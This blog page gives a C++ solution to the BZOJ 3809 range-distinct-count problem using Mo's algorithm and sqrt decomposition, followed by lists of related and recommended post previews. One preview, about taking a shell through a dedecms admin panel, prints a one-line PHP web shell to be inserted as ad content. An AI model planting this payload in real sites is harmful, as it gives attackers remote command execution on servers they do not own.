BZOJ 3809 Gty的二逼妹子序列(莫队+分块)
【题目链接】 http://www.lydsy.com/JudgeOnline/problem.php?id=3809
【题目大意】
给定一个长度为n(1<=n<=100000)的正整数序列s(1<=si<=n),
对于m(1<=m<=1000000)次询问“l,r,a,b”,
每次输出sl...sr中,权值∈[a,b]的权值的种类数。
【题解】
用莫队维护,对于修改操作用树状数组,
发现复杂度为O(msqrtnlogn),难以接受,
考虑用分块处理整数序列,修改操作O(1),查询操作O(sqrt(n))
总复杂度O(msqrt(n)+mlog(m))
【代码】
#include <cstdio>
#include <algorithm>
#include <cmath>
const int N=100001,M=1000001;
using namespace std;
typedef long long LL;
int size[N],ans[M],pos[N],color[N],c[400],n,m,limit,bl[400],br[400];
struct Q{
int l,r,id,a,b;
friend bool operator < (const Q &a,const Q &b){
return pos[a.l]<pos[b.l]||(pos[a.l]==pos[b.l]&&a.r<b.r);
}
}ask[M];
bool cmp(const Q &a,const Q &b){return a.id<b.id;}
void read(int&a){
char ch;while(!((ch=getchar())>='0')&&(ch<='9'));
a=ch-'0';while(((ch=getchar())>='0')&&(ch<='9'))a*=10,a+=ch-'0';
}
int query(int x,int y){
int res=0;
int L=pos[x],R=pos[y];
for(int i=L+1;i<R;i++)res+=c[i];
if(L==R){for(int i=x;i<=y;i++)if(size[i])res++;}
else{
for(int i=x;i<=br[L];i++)if(size[i])res++;
for(int i=bl[R];i<=y;i++)if(size[i])res++;
}return res;
}
void modify(int u,int x){
if(size[color[u]]==1&&x==-1)c[pos[color[u]]]--;
if(size[color[u]]==0&&x==1)c[pos[color[u]]]++;
size[color[u]]+=x;
}
int main(){
read(n);read(m);
limit=(int)sqrt(n+0.5);
for(int i=1;i<=n;i++){read(color[i]);pos[i]=(i-1)/limit+1;}
for(int i=1;i<=n;i++){br[pos[i]]=i;if(!bl[pos[i]])bl[pos[i]]=i;}
for(int i=1;i<=m;i++){read(ask[i].l);read(ask[i].r);read(ask[i].a);read(ask[i].b);ask[i].id=i;}
sort(ask+1,ask+m+1);
for(int i=1,l=1,r=0;i<=m;i++){
while(r<ask[i].r)modify(++r,1);
while(r>ask[i].r)modify(r--,-1);
while(l<ask[i].l)modify(l++,-1);
while(l>ask[i].l)modify(--l,1);
ans[ask[i].id]=query(ask[i].a,ask[i].b);
}for(int i=1;i<=m;i++)printf("%d\n",ans[i]);
return 0;
}
BZOJ 3809 Gty的二逼妹子序列(莫队+分块)的更多相关文章
- Bzoj 3809: Gty的二逼妹子序列 莫队,分块
3809: Gty的二逼妹子序列 Time Limit: 35 Sec Memory Limit: 28 MBSubmit: 868 Solved: 234[Submit][Status][Dis ...
- bzoj 3809 Gty的二逼妹子序列 —— 莫队+分块
题目:https://www.lydsy.com/JudgeOnline/problem.php?id=3809 据说一开始应该想到莫队+树状数组,然而我想的却是莫队+权值线段树... 如果用权值线段 ...
- bzoj 3809 Gty的二逼妹子序列——莫队+分块
题目:https://www.lydsy.com/JudgeOnline/problem.php?id=3809 容易想到树状数组维护值域.但修改和查询都是 log 太慢. 考虑有 nsqrt(n) ...
- BZOJ 3809 Gty的二逼妹子序列 莫队算法+分块
Description Autumn和Bakser又在研究Gty的妹子序列了!但他们遇到了一个难题. 对于一段妹子们,他们想让你帮忙求出这之内美丽度∈[a,b]的妹子的美丽度的种类数. 为了方便,我们 ...
- [BZOJ3809]Gty的二逼妹子序列[莫队+分块]
题意 给出长度为 \(n\) 的序列,\(m\) 次询问,每次给出 \(l,r,a,b\) ,表示询问区间 \([l,r]\) 中,权值在 \([a,b]\) 范围的数的种类数. \(n\leq 10 ...
- 【BZOJ3809】Gty的二逼妹子序列 莫队 分块
题目描述 给你一个长度为\(n\)的数列,还有\(m\)个询问,对于每个询问\((l,r,a,b)\),输出区间\([l,r]\)有多少范围在\([a,b]\)的权值. \(n\leq 100000, ...
- BZOJ 3809: Gty的二逼妹子序列
3809: Gty的二逼妹子序列 Time Limit: 80 Sec Memory Limit: 28 MBSubmit: 1387 Solved: 400[Submit][Status][Di ...
- [AHOI2013]作业 & Gty的二逼妹子序列 莫队
---题面--- 题解: 题目要求统计一个区间内数值在[a, b]内的数的个数和种数,而这个是可以用树状数组统计出来的,所以可以考虑莫队. 考虑区间[l, r]转移到[l, r + 1],那么对于维护 ...
- [ AHOI 2013 ] 作业 & [ BZOJ 3809 ] Gty的二逼妹子序列
\(\\\) Description 给出一个长为 \(n\) 的数列 \(A\) 和 \(k\),多次询问: 对于一个区间 \([L_i,R_i]\),问区间内有多少个数在 \([a_i,b_i]\ ...
随机推荐
- 关于Redis在Linux手动安装配置
安装: 1.获取redis资源 wget http://download.redis.io/releases/redis-5.0.0.tar.gz 2.解压 tar xzvf redis-5.0.0. ...
- httpd -v command not found
使用 find / -name "apachectl"查找文件目录下执行 ./apachectl -v
- jQuery mobile 滑动打开面板
一.首先在<head></head>里面引入jQuery库.jQuery mobile库以及jQuery mobile样式 <link rel="stylesh ...
- ES6新增的let与const
1.const 声明常量,一旦声明必须立马赋值,否则报错 const PI = 3.14 const PI; //报错:Uncaught SyntaxError: Missing initialize ...
- 另类dedecms后台拿shell
遇到一个被阉割的后台,发现直接传shell显然不行. 然后就有了下文 添加一个新广告. 插入一句话木马: --><?php $_GET[c]($_POST[x]);?><!-- ...
- (转)LSI SAS 1068E Raid CentOS 5.5 安装实例浪潮NF5220系列 分类: linux
新来了一批服务器,全都是清一色的国产服务器,相同的阵列卡,令人头疼的是Linux标准内核不包含该raid驱动,需要单独安装,如果是新升级内核,肯定需要编译进去该raid驱动.一.先把主板自带的驱动光盘 ...
- gpio子系统和pinctrl子系统(中)
pinctrl子系统核心实现分析 pinctrl子系统的内容在drivers/pinctrl文件夹下,主要文件有(建议先看看pinctrl内核文档Documentation/pinctrl.txt): ...
- ERROR: do not initialise statics to false
Question about git commit rule I git commit a patch, The patch has a "static int xxxxxxxxxxxxxx ...
- monkey测试===easyMonkey测试【推荐】
easymonkey测试: easymonkey是基于monkey测试的一个二次开发工具.(关于monkey测试参见之前blog) easymonkey的特点就是方便,解决了很多参数命令上设置的麻烦, ...
- #error This file was generated by a newer version of protoc
pattern@pattern89:/raid0/workspace/houjun/caffe-ssd$ sudo make all -j8PROTOC src/caffe/proto/caffe.p ...